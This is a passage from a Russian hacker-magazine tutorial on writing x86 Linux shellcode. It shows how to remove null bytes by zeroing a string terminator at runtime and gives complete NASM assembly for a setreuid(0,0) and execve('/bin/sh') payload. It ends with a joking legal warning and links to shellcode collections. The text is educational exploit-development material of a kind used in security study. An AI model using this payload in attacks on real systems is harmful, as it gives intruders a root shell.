Откуда берутся шелл-коды Степан Ильин (step@gameland.ru) Хакер, номер #085, стр. 085-050-7 Казалось бы, все готово. Шелл-код должен быть идеальным, но нет! В нем по-прежнему остается один-единственный и подлый нуль-байт. Он находится в самом конце нашего шелл-кода и появляется там из-за того, что строка, содержащая путь к интерпретатору ('/bin/sh', 0), закачивается нулем. Как говорилось ранее, этот ноль необходим для правильной работы приложения (функции execve()). Просто взять и удалить его нельзя, как бы тебе этого ни хотелось. Но можно воспользоваться еще одной хитростью: на этапе компоновки вместо нуля можно указать произвольный символ и превратить его в ноль лишь в процессе выполнения программы. Это делается примерно так: Jmp short stuff code: pop esi ; адрес начала строки ; теперь в регистре ESI xor eax,eax ; обнуляем регистр EAX mov byte [esi + 17],al ; отсчитываем 18 символов (нумерация с нуля) ; и заносим туда ноль (регистр EAX полностью ; равен нулю) ; Теперь строка превратиться в «This is my string0» stuff: call code db 'This is my string#' Теперь применим этот прием по отношению к программе shell.asm: BITS 32 ;setreuid(0, 0) xor eax,eax mov al, 70 xor ebx,ebx xor ecx,ecx int 0x80 jmp short two one: pop ebx ; execve("/bin/sh",["/bin/sh", NULL], NULL) xor eax,eax mov byte [ebx+7], al push eax push ebx mov ecx, esp mov al,11 xor edx,edx int 0x80 two: call one db '/bin/sh#' Откомпилировав программу, убеждаемся, что нулевых байтов больше нет. Стоит отменить, что проблема может возникать не только из-за нулей. Специальные символы (к примеру, символ конца строки) в некоторых случаях также могут стать причиной нулевых байтов в шелл-коде. [к действию] В статье приведены наиболее важные приемы, которые понадобятся при составлении шелл-кодов. Однако для успеха недостаточно просто прочитать этот материал. Важно как можно глубже разобраться с операционной системой, под которую пишется шелл-код, а также программированием на ассемблере. Надеюсь, приведенные примеры убедили тебя в том, что ничего чрезвычайно сложного здесь нет. Все довольно просто и логично: главное - не боятся открыть документацию и немного поэкспериментировать. WARNING Не стоит забывать, что за все незаконные действия ты несешь полную ответственность сначала перед собственной совестью, потом - перед близкими людьми, а потом уже - перед лысым 43 летним государственным обвинителем по фамилии Петренко. Так что не глупи. WWW Необходимые тулзы: Nasm (nasm.sourceforge.net) Hexdump (www.canb.auug.org.au/~millerp/hexdump.html) WWW Коллекции шелл-кодов и документации по теме: Metasploit.com packetstormsecurity.com/shellcode www.shellcode.org |